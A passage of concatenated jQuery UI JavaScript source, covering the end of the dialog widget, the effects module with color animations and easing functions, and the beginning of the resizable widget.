setTimeout(function() {
last.focus();
}, 1);
}
}));
this.uiDialog.find(':tabbable:first').focus();
this._trigger('open', null, { options: this.options });
this._isOpen = true;
},
_createButtons: function(buttons) {
var self = this,
hasButtons = false,
uiDialogButtonPane = this.uiDialogButtonPane;
// remove any existing buttons
uiDialogButtonPane.empty().hide();
$.each(buttons, function() { return !(hasButtons = true); });
if (hasButtons) {
uiDialogButtonPane.show();
$.each(buttons, function(name, fn) {
$('<button type="button"></button>')
.text(name)
.click(function() { fn.apply(self.element[0], arguments); })
.appendTo(uiDialogButtonPane);
});
}
},
_makeDraggable: function() {
var self = this,
options = this.options;
this.uiDialog.draggable({
cancel: '.ui-dialog-content',
helper: options.dragHelper,
handle: '.ui-dialog-titlebar',
start: function() {
self.moveToTop();
(options.dragStart && options.dragStart.apply(self.element[0], arguments));
},
drag: function() {
(options.drag && options.drag.apply(self.element[0], arguments));
},
stop: function() {
(options.dragStop && options.dragStop.apply(self.element[0], arguments));
$.ui.dialog.overlay.resize();
}
});
},
_makeResizable: function(handles) {
handles = (handles === undefined ? this.options.resizable : handles);
var self = this,
options = this.options,
resizeHandles = typeof handles == 'string'
? handles
: 'n,e,s,w,se,sw,ne,nw';
this.uiDialog.resizable({
cancel: '.ui-dialog-content',
helper: options.resizeHelper,
maxWidth: options.maxWidth,
maxHeight: options.maxHeight,
minWidth: options.minWidth,
minHeight: options.minHeight,
start: function() {
(options.resizeStart && options.resizeStart.apply(self.element[0], arguments));
},
resize: function() {
(options.autoResize && self._size.apply(self));
(options.resize && options.resize.apply(self.element[0], arguments));
},
handles: resizeHandles,
stop: function() {
(options.autoResize && self._size.apply(self));
(options.resizeStop && options.resizeStop.apply(self.element[0], arguments));
$.ui.dialog.overlay.resize();
}
});
},
_position: function(pos) {
var wnd = $(window), doc = $(document),
pTop = doc.scrollTop(), pLeft = doc.scrollLeft(),
minTop = pTop;
if ($.inArray(pos, ['center','top','right','bottom','left']) >= 0) {
pos = [
pos == 'right' || pos == 'left' ? pos : 'center',
pos == 'top' || pos == 'bottom' ? pos : 'middle'
];
}
if (pos.constructor != Array) {
pos = ['center', 'middle'];
}
if (pos[0].constructor == Number) {
pLeft += pos[0];
} else {
switch (pos[0]) {
case 'left':
pLeft += 0;
break;
case 'right':
pLeft += wnd.width() - this.uiDialog.width();
break;
default:
case 'center':
pLeft += (wnd.width() - this.uiDialog.width()) / 2;
}
}
if (pos[1].constructor == Number) {
pTop += pos[1];
} else {
switch (pos[1]) {
case 'top':
pTop += 0;
break;
case 'bottom':
pTop += wnd.height() - this.uiDialog.height();
break;
default:
case 'middle':
pTop += (wnd.height() - this.uiDialog.height()) / 2;
}
}
// prevent the dialog from being too high (make sure the titlebar
// is accessible)
pTop = Math.max(pTop, minTop);
this.uiDialog.css({top: pTop, left: pLeft});
},
_setData: function(key, value){
(setDataSwitch[key] && this.uiDialog.data(setDataSwitch[key], value));
switch (key) {
case "buttons":
this._createButtons(value);
break;
case "draggable":
(value
? this._makeDraggable()
: this.uiDialog.draggable('destroy'));
break;
case "height":
this.uiDialog.height(value);
break;
case "position":
this._position(value);
break;
case "resizable":
var uiDialog = this.uiDialog,
isResizable = this.uiDialog.is(':data(resizable)');
// currently resizable, becoming non-resizable
(isResizable && !value && uiDialog.resizable('destroy'));
// currently resizable, changing handles
(isResizable && typeof value == 'string' &&
uiDialog.resizable('option', 'handles', value));
// currently non-resizable, becoming resizable
(isResizable || this._makeResizable(value));
break;
case "title":
$(".ui-dialog-title", this.uiDialogTitlebar).html(value || ' ');
break;
case "width":
this.uiDialog.width(value);
break;
}
$.widget.prototype._setData.apply(this, arguments);
},
_size: function() {
var container = this.uiDialogContainer,
titlebar = this.uiDialogTitlebar,
content = this.element,
tbMargin = (parseInt(content.css('margin-top'), 10) || 0)
+ (parseInt(content.css('margin-bottom'), 10) || 0),
lrMargin = (parseInt(content.css('margin-left'), 10) || 0)
+ (parseInt(content.css('margin-right'), 10) || 0);
content.height(container.height() - titlebar.outerHeight() - tbMargin);
content.width(container.width() - lrMargin);
}
});
$.extend($.ui.dialog, {
version: "@VERSION",
defaults: {
autoOpen: true,
autoResize: true,
bgiframe: false,
buttons: {},
closeOnEscape: true,
draggable: true,
height: 200,
minHeight: 100,
minWidth: 150,
modal: false,
overlay: {},
position: 'center',
resizable: true,
stack: true,
width: 300,
zIndex: 1000
},
getter: 'isOpen',
uuid: 0,
getTitleId: function($el) {
return 'ui-dialog-title-' + ($el.attr('id') || ++this.uuid);
},
overlay: function(dialog) {
this.$el = $.ui.dialog.overlay.create(dialog);
}
});
$.extend($.ui.dialog.overlay, {
instances: [],
events: $.map('focus,mousedown,mouseup,keydown,keypress,click'.split(','),
function(e) { return e + '.dialog-overlay'; }).join(' '),
create: function(dialog) {
if (this.instances.length === 0) {
// prevent use of anchors and inputs
// we use a setTimeout in case the overlay is created from an
// event that we're going to be cancelling (see #2804)
setTimeout(function() {
$('a, :input').bind($.ui.dialog.overlay.events, function() {
// allow use of the element if inside a dialog and
// - there are no modal dialogs
// - there are modal dialogs, but we are in front of the topmost modal
var allow = false;
var $dialog = $(this).parents('.ui-dialog');
if ($dialog.length) {
var $overlays = $('.ui-dialog-overlay');
if ($overlays.length) {
var maxZ = parseInt($overlays.css('z-index'), 10);
$overlays.each(function() {
maxZ = Math.max(maxZ, parseInt($(this).css('z-index'), 10));
});
allow = parseInt($dialog.css('z-index'), 10) > maxZ;
} else {
allow = true;
}
}
return allow;
});
}, 1);
// allow closing by pressing the escape key
$(document).bind('keydown.dialog-overlay', function(e) {
(dialog.options.closeOnEscape && e.keyCode
&& e.keyCode == $.keyCode.ESCAPE && dialog.close());
});
// handle window resize
$(window).bind('resize.dialog-overlay', $.ui.dialog.overlay.resize);
}
var $el = $('<div/>').appendTo(document.body)
.addClass('ui-dialog-overlay').css($.extend({
borderWidth: 0, margin: 0, padding: 0,
position: 'absolute', top: 0, left: 0,
width: this.width(),
height: this.height()
}, dialog.options.overlay));
(dialog.options.bgiframe && $.fn.bgiframe && $el.bgiframe());
this.instances.push($el);
return $el;
},
destroy: function($el) {
this.instances.splice($.inArray(this.instances, $el), 1);
if (this.instances.length === 0) {
$('a, :input').add([document, window]).unbind('.dialog-overlay');
}
$el.remove();
},
height: function() {
// handle IE 6
if ($.browser.msie && $.browser.version < 7) {
var scrollHeight = Math.max(
document.documentElement.scrollHeight,
document.body.scrollHeight
);
var offsetHeight = Math.max(
document.documentElement.offsetHeight,
document.body.offsetHeight
);
if (scrollHeight < offsetHeight) {
return $(window).height() + 'px';
} else {
return scrollHeight + 'px';
}
// handle Opera
} else if ($.browser.opera) {
return Math.max(
window.innerHeight,
$(document).height()
) + 'px';
// handle "good" browsers
} else {
return $(document).height() + 'px';
}
},
width: function() {
// handle IE 6
if ($.browser.msie && $.browser.version < 7) {
var scrollWidth = Math.max(
document.documentElement.scrollWidth,
document.body.scrollWidth
);
var offsetWidth = Math.max(
document.documentElement.offsetWidth,
document.body.offsetWidth
);
if (scrollWidth < offsetWidth) {
return $(window).width() + 'px';
} else {
return scrollWidth + 'px';
}
// handle Opera
} else if ($.browser.opera) {
return Math.max(
window.innerWidth,
$(document).width()
) + 'px';
// handle "good" browsers
} else {
return $(document).width() + 'px';
}
},
resize: function() {
/* If the dialog is draggable and the user drags it past the
* right edge of the window, the document becomes wider so we
* need to stretch the overlay. If the user then drags the
* dialog back to the left, the document will become narrower,
* so we need to shrink the overlay to the appropriate size.
* This is handled by shrinking the overlay before setting it
* to the full document size.
*/
var $overlays = $([]);
$.each($.ui.dialog.overlay.instances, function() {
$overlays = $overlays.add(this);
});
$overlays.css({
width: 0,
height: 0
}).css({
width: $.ui.dialog.overlay.width(),
height: $.ui.dialog.overlay.height()
});
}
});
$.extend($.ui.dialog.overlay.prototype, {
destroy: function() {
$.ui.dialog.overlay.destroy(this.$el);
}
});
})(jQuery);
|
JavaScript
|
/*
* jQuery UI Effects @VERSION
*
* Copyright (c) 2008 Aaron Eisenberger (aaronchi@gmail.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Effects/
*/
;(function($) {
$.effects = $.effects || {}; //Add the 'effects' scope
$.extend($.effects, {
version: "@VERSION",
save: function(el, set) {
for(var i=0;i<set.length;i++) {
if(set[i] !== null) $.data(el[0], "ec.storage."+set[i], el[0].style[set[i]]);
}
},
restore: function(el, set) {
for(var i=0;i<set.length;i++) {
if(set[i] !== null) el.css(set[i], $.data(el[0], "ec.storage."+set[i]));
}
},
setMode: function(el, mode) {
if (mode == 'toggle') mode = el.is(':hidden') ? 'show' : 'hide'; // Set for toggle
return mode;
},
getBaseline: function(origin, original) { // Translates a [top,left] array into a baseline value
// this should be a little more flexible in the future to handle a string & hash
var y, x;
switch (origin[0]) {
case 'top': y = 0; break;
case 'middle': y = 0.5; break;
case 'bottom': y = 1; break;
default: y = origin[0] / original.height;
};
switch (origin[1]) {
case 'left': x = 0; break;
case 'center': x = 0.5; break;
case 'right': x = 1; break;
default: x = origin[1] / original.width;
};
return {x: x, y: y};
},
createWrapper: function(el) {
if (el.parent().attr('id') == 'fxWrapper')
return el;
var props = {width: el.outerWidth({margin:true}), height: el.outerHeight({margin:true}), 'float': el.css('float')};
el.wrap('<div id="fxWrapper" style="font-size:100%;background:transparent;border:none;margin:0;padding:0"></div>');
var wrapper = el.parent();
if (el.css('position') == 'static'){
wrapper.css({position: 'relative'});
el.css({position: 'relative'});
} else {
var top = el.css('top'); if(isNaN(parseInt(top))) top = 'auto';
var left = el.css('left'); if(isNaN(parseInt(left))) left = 'auto';
wrapper.css({ position: el.css('position'), top: top, left: left, zIndex: el.css('z-index') }).show();
el.css({position: 'relative', top:0, left:0});
}
wrapper.css(props);
return wrapper;
},
removeWrapper: function(el) {
if (el.parent().attr('id') == 'fxWrapper')
return el.parent().replaceWith(el);
return el;
},
setTransition: function(el, list, factor, val) {
val = val || {};
$.each(list,function(i, x){
unit = el.cssUnit(x);
if (unit[0] > 0) val[x] = unit[0] * factor + unit[1];
});
return val;
},
animateClass: function(value, duration, easing, callback) {
var cb = (typeof easing == "function" ? easing : (callback ? callback : null));
var ea = (typeof easing == "object" ? easing : null);
return this.each(function() {
var offset = {}; var that = $(this); var oldStyleAttr = that.attr("style") || '';
if(typeof oldStyleAttr == 'object') oldStyleAttr = oldStyleAttr["cssText"]; /* Stupidly in IE, style is a object.. */
if(value.toggle) { that.hasClass(value.toggle) ? value.remove = value.toggle : value.add = value.toggle; }
//Let's get a style offset
var oldStyle = $.extend({}, (document.defaultView ? document.defaultView.getComputedStyle(this,null) : this.currentStyle));
if(value.add) that.addClass(value.add); if(value.remove) that.removeClass(value.remove);
var newStyle = $.extend({}, (document.defaultView ? document.defaultView.getComputedStyle(this,null) : this.currentStyle));
if(value.add) that.removeClass(value.add); if(value.remove) that.addClass(value.remove);
// The main function to form the object for animation
for(var n in newStyle) {
if( typeof newStyle[n] != "function" && newStyle[n] /* No functions and null properties */
&& n.indexOf("Moz") == -1 && n.indexOf("length") == -1 /* No mozilla spezific render properties. */
&& newStyle[n] != oldStyle[n] /* Only values that have changed are used for the animation */
&& (n.match(/color/i) || (!n.match(/color/i) && !isNaN(parseInt(newStyle[n],10)))) /* Only things that can be parsed to integers or colors */
&& (oldStyle.position != "static" || (oldStyle.position == "static" && !n.match(/left|top|bottom|right/))) /* No need for positions when dealing with static positions */
) offset[n] = newStyle[n];
}
that.animate(offset, duration, ea, function() { // Animate the newly constructed offset object
// Change style attribute back to original. For stupid IE, we need to clear the damn object.
if(typeof $(this).attr("style") == 'object') { $(this).attr("style")["cssText"] = ""; $(this).attr("style")["cssText"] = oldStyleAttr; } else $(this).attr("style", oldStyleAttr);
if(value.add) $(this).addClass(value.add); if(value.remove) $(this).removeClass(value.remove);
if(cb) cb.apply(this, arguments);
});
});
}
});
//Extend the methods of jQuery
$.fn.extend({
//Save old methods
_show: $.fn.show,
_hide: $.fn.hide,
__toggle: $.fn.toggle,
_addClass: $.fn.addClass,
_removeClass: $.fn.removeClass,
_toggleClass: $.fn.toggleClass,
// New ec methods
effect: function(fx,o,speed,callback) {
return $.effects[fx] ? $.effects[fx].call(this, {method: fx, options: o || {}, duration: speed, callback: callback }) : null;
},
show: function() {
if(!arguments[0] || (arguments[0].constructor == Number || /(slow|normal|fast)/.test(arguments[0])))
return this._show.apply(this, arguments);
else {
var o = arguments[1] || {}; o['mode'] = 'show';
return this.effect.apply(this, [arguments[0], o, arguments[2] || o.duration, arguments[3] || o.callback]);
}
},
hide: function() {
if(!arguments[0] || (arguments[0].constructor == Number || /(slow|normal|fast)/.test(arguments[0])))
return this._hide.apply(this, arguments);
else {
var o = arguments[1] || {}; o['mode'] = 'hide';
return this.effect.apply(this, [arguments[0], o, arguments[2] || o.duration, arguments[3] || o.callback]);
}
},
toggle: function(){
if(!arguments[0] || (arguments[0].constructor == Number || /(slow|normal|fast)/.test(arguments[0])) || (arguments[0].constructor == Function))
return this.__toggle.apply(this, arguments);
else {
var o = arguments[1] || {}; o['mode'] = 'toggle';
return this.effect.apply(this, [arguments[0], o, arguments[2] || o.duration, arguments[3] || o.callback]);
}
},
addClass: function(classNames,speed,easing,callback) {
return speed ? $.effects.animateClass.apply(this, [{ add: classNames },speed,easing,callback]) : this._addClass(classNames);
},
removeClass: function(classNames,speed,easing,callback) {
return speed ? $.effects.animateClass.apply(this, [{ remove: classNames },speed,easing,callback]) : this._removeClass(classNames);
},
toggleClass: function(classNames,speed,easing,callback) {
return speed ? $.effects.animateClass.apply(this, [{ toggle: classNames },speed,easing,callback]) : this._toggleClass(classNames);
},
morph: function(remove,add,speed,easing,callback) {
return $.effects.animateClass.apply(this, [{ add: add, remove: remove },speed,easing,callback]);
},
switchClass: function() {
return this.morph.apply(this, arguments);
},
// helper functions
cssUnit: function(key) {
var style = this.css(key), val = [];
$.each( ['em','px','%','pt'], function(i, unit){
if(style.indexOf(unit) > 0)
val = [parseFloat(style), unit];
});
return val;
}
});
/*
* jQuery Color Animations
* Copyright 2007 John Resig
* Released under the MIT and GPL licenses.
*/
// We override the animation for all of these color styles
jQuery.each(['backgroundColor', 'borderBottomColor', 'borderLeftColor', 'borderRightColor', 'borderTopColor', 'color', 'outlineColor'], function(i,attr){
jQuery.fx.step[attr] = function(fx){
if ( fx.state == 0 ) {
fx.start = getColor( fx.elem, attr );
fx.end = getRGB( fx.end );
}
fx.elem.style[attr] = "rgb(" + [
Math.max(Math.min( parseInt((fx.pos * (fx.end[0] - fx.start[0])) + fx.start[0]), 255), 0),
Math.max(Math.min( parseInt((fx.pos * (fx.end[1] - fx.start[1])) + fx.start[1]), 255), 0),
Math.max(Math.min( parseInt((fx.pos * (fx.end[2] - fx.start[2])) + fx.start[2]), 255), 0)
].join(",") + ")";
}
});
// Color Conversion functions from highlightFade
// By Blair Mitchelmore
// http://jquery.offput.ca/highlightFade/
// Parse strings looking for color tuples [255,255,255]
function getRGB(color) {
var result;
// Check if we're already dealing with an array of colors
if ( color && color.constructor == Array && color.length == 3 )
return color;
// Look for rgb(num,num,num)
if (result = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(color))
return [parseInt(result[1]), parseInt(result[2]), parseInt(result[3])];
// Look for rgb(num%,num%,num%)
if (result = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(color))
return [parseFloat(result[1])*2.55, parseFloat(result[2])*2.55, parseFloat(result[3])*2.55];
// Look for #a0b1c2
if (result = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(color))
return [parseInt(result[1],16), parseInt(result[2],16), parseInt(result[3],16)];
// Look for #fff
if (result = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(color))
return [parseInt(result[1]+result[1],16), parseInt(result[2]+result[2],16), parseInt(result[3]+result[3],16)];
// Look for rgba(0, 0, 0, 0) == transparent in Safari 3
if (result = /rgba\(0, 0, 0, 0\)/.exec(color))
return colors['transparent'];
// Otherwise, we're most likely dealing with a named color
return colors[jQuery.trim(color).toLowerCase()];
}
function getColor(elem, attr) {
var color;
do {
color = jQuery.curCSS(elem, attr);
// Keep going until we find an element that has color, or we hit the body
if ( color != '' && color != 'transparent' || jQuery.nodeName(elem, "body") )
break;
attr = "backgroundColor";
} while ( elem = elem.parentNode );
return getRGB(color);
};
// Some named colors to work with
// From Interface by Stefan Petre
// http://interface.eyecon.ro/
var colors = {
aqua:[0,255,255],
azure:[240,255,255],
beige:[245,245,220],
black:[0,0,0],
blue:[0,0,255],
brown:[165,42,42],
cyan:[0,255,255],
darkblue:[0,0,139],
darkcyan:[0,139,139],
darkgrey:[169,169,169],
darkgreen:[0,100,0],
darkkhaki:[189,183,107],
darkmagenta:[139,0,139],
darkolivegreen:[85,107,47],
darkorange:[255,140,0],
darkorchid:[153,50,204],
darkred:[139,0,0],
darksalmon:[233,150,122],
darkviolet:[148,0,211],
fuchsia:[255,0,255],
gold:[255,215,0],
green:[0,128,0],
indigo:[75,0,130],
khaki:[240,230,140],
lightblue:[173,216,230],
lightcyan:[224,255,255],
lightgreen:[144,238,144],
lightgrey:[211,211,211],
lightpink:[255,182,193],
lightyellow:[255,255,224],
lime:[0,255,0],
magenta:[255,0,255],
maroon:[128,0,0],
navy:[0,0,128],
olive:[128,128,0],
orange:[255,165,0],
pink:[255,192,203],
purple:[128,0,128],
violet:[128,0,128],
red:[255,0,0],
silver:[192,192,192],
white:[255,255,255],
yellow:[255,255,0],
transparent: [255,255,255]
};
/*
* jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
*
* Uses the built in easing capabilities added In jQuery 1.1
* to offer multiple easing options
*
* TERMS OF USE - jQuery Easing
*
* Open source under the BSD License.
*
* Copyright © 2008 George McGinley Smith
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* Neither the name of the author nor the names of contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
// t: current time, b: begInnIng value, c: change In value, d: duration
jQuery.easing['jswing'] = jQuery.easing['swing'];
jQuery.extend( jQuery.easing,
{
def: 'easeOutQuad',
swing: function (x, t, b, c, d) {
//alert(jQuery.easing.default);
return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
},
easeInQuad: function (x, t, b, c, d) {
return c*(t/=d)*t + b;
},
easeOutQuad: function (x, t, b, c, d) {
return -c *(t/=d)*(t-2) + b;
},
easeInOutQuad: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t + b;
return -c/2 * ((--t)*(t-2) - 1) + b;
},
easeInCubic: function (x, t, b, c, d) {
return c*(t/=d)*t*t + b;
},
easeOutCubic: function (x, t, b, c, d) {
return c*((t=t/d-1)*t*t + 1) + b;
},
easeInOutCubic: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t*t + b;
return c/2*((t-=2)*t*t + 2) + b;
},
easeInQuart: function (x, t, b, c, d) {
return c*(t/=d)*t*t*t + b;
},
easeOutQuart: function (x, t, b, c, d) {
return -c * ((t=t/d-1)*t*t*t - 1) + b;
},
easeInOutQuart: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
return -c/2 * ((t-=2)*t*t*t - 2) + b;
},
easeInQuint: function (x, t, b, c, d) {
return c*(t/=d)*t*t*t*t + b;
},
easeOutQuint: function (x, t, b, c, d) {
return c*((t=t/d-1)*t*t*t*t + 1) + b;
},
easeInOutQuint: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
return c/2*((t-=2)*t*t*t*t + 2) + b;
},
easeInSine: function (x, t, b, c, d) {
return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
},
easeOutSine: function (x, t, b, c, d) {
return c * Math.sin(t/d * (Math.PI/2)) + b;
},
easeInOutSine: function (x, t, b, c, d) {
return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
},
easeInExpo: function (x, t, b, c, d) {
return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
},
easeOutExpo: function (x, t, b, c, d) {
return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
},
easeInOutExpo: function (x, t, b, c, d) {
if (t==0) return b;
if (t==d) return b+c;
if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
},
easeInCirc: function (x, t, b, c, d) {
return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
},
easeOutCirc: function (x, t, b, c, d) {
return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
},
easeInOutCirc: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
},
easeInElastic: function (x, t, b, c, d) {
var s=1.70158;var p=0;var a=c;
if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
if (a < Math.abs(c)) { a=c; var s=p/4; }
else var s = p/(2*Math.PI) * Math.asin (c/a);
return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
},
easeOutElastic: function (x, t, b, c, d) {
var s=1.70158;var p=0;var a=c;
if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
if (a < Math.abs(c)) { a=c; var s=p/4; }
else var s = p/(2*Math.PI) * Math.asin (c/a);
return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
},
easeInOutElastic: function (x, t, b, c, d) {
var s=1.70158;var p=0;var a=c;
if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5);
if (a < Math.abs(c)) { a=c; var s=p/4; }
else var s = p/(2*Math.PI) * Math.asin (c/a);
if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
},
easeInBack: function (x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
return c*(t/=d)*t*((s+1)*t - s) + b;
},
easeOutBack: function (x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
},
easeInOutBack: function (x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
},
easeInBounce: function (x, t, b, c, d) {
return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
},
easeOutBounce: function (x, t, b, c, d) {
if ((t/=d) < (1/2.75)) {
return c*(7.5625*t*t) + b;
} else if (t < (2/2.75)) {
return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
} else if (t < (2.5/2.75)) {
return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
} else {
return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
}
},
easeInOutBounce: function (x, t, b, c, d) {
if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
}
});
/*
*
* TERMS OF USE - EASING EQUATIONS
*
* Open source under the BSD License.
*
* Copyright © 2001 Robert Penner
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* Neither the name of the author nor the names of contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
})(jQuery);
|
JavaScript
|
/*
* jQuery UI Resizable @VERSION
*
* Copyright (c) 2008 Paul Bakaus
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Resizables
*
* Depends:
* ui.core.js
*/
(function($) {
$.widget("ui.resizable", $.extend({}, $.ui.mouse, {
_init: function() {
var self = this, o = this.options;
var elpos = this.element.css('position');
this.originalElement = this.element;
// simulate .ui-resizable { position: relative; }
this.element.addClass("ui-resizable").css({ position: /static/.test(elpos) ? 'relative' : elpos });
$.extend(o, {
_aspectRatio: !!(o.aspectRatio),
helper: o.helper || o.ghost || o.animate ? o.helper || 'proxy' : null,
knobHandles: o.knobHandles === true ? 'ui-resizable-knob-handle' : o.knobHandles
});
//Default Theme
var aBorder = '1px solid #DEDEDE';
o.defaultTheme = {
'ui-resizable': { display: 'block' },
'ui-resizable-handle': { position: 'absolute', background: '#F2F2F2', fontSize: '0.1px' },
'ui-resizable-n': { cursor: 'n-resize', height: '4px', left: '0px', right: '0px', borderTop: aBorder },
'ui-resizable-s': { cursor: 's-resize', height: '4px', left: '0px', right: '0px', borderBottom: aBorder },
'ui-resizable-e': { cursor: 'e-resize', width: '4px', top: '0px', bottom: '0px', borderRight: aBorder },
'ui-resizable-w': { cursor: 'w-resize', width: '4px', top: '0px', bottom: '0px', borderLeft: aBorder },
'ui-resizable-se': { cursor: 'se-resize', width: '4px', height: '4px', borderRight: aBorder, borderBottom: aBorder },
'ui-resizable-sw': { cursor: 'sw-resize', width: '4px', height: '4px', borderBottom: aBorder, borderLeft: aBorder },
'ui-resizable-ne': { cursor: 'ne-resize', width: '4px', height: '4px', borderRight: aBorder, borderTop: aBorder },
'ui-resizable-nw': { cursor: 'nw-resize', width: '4px', height: '4px', borderLeft: aBorder, borderTop: aBorder }
};
o.knobTheme = {
'ui-resizable-handle': { background: '#F2F2F2', border: '1px solid #808080', height: '8px', width: '8px' },
'ui-resizable-n': { cursor: 'n-resize', top: '0px', left: '45%' },
'ui-resizable-s': { cursor: 's-resize', bottom: '0px', left: '45%' },
'ui-resizable-e': { cursor: 'e-resize', right: '0px', top: '45%' },
'ui-resizable-w': { cursor: 'w-resize', left: '0px', top: '45%' },
'ui-resizable-se': { cursor: 'se-resize', right: '0px', bottom: '0px' },
'ui-resizable-sw': { cursor: 'sw-resize', left: '0px', bottom: '0px' },
'ui-resizable-nw': { cursor: 'nw-resize', left: '0px', top: '0px' },
'ui-resizable-ne': { cursor: 'ne-resize', right: '0px', top: '0px' }
};
o._nodeName = this.element[0].nodeName;
//Wrap the element if it cannot hold child nodes
if(o._nodeName.match(/canvas|textarea|input|select|button|img/i)) {
var el = this.element;
//Opera fixing relative position
if (/relative/.test(el.css('position')) && $.browser.opera)
el.css({ position: 'relative', top: 'auto', left: 'auto' });
//Create a wrapper element and set the wrapper to the new current internal element
el.wrap(
$('<div class="ui-wrapper" style="overflow: hidden;"></div>').css( {
position: el.css('position'),
width: el.outerWidth(),
height: el.outerHeight(),
top: el.css('top'),
left: el.css('left')
})
);
var oel = this.element; this.element = this.element.parent();
// store instance on wrapper
this.element.data('resizable', this);
//Move margins to the wrapper
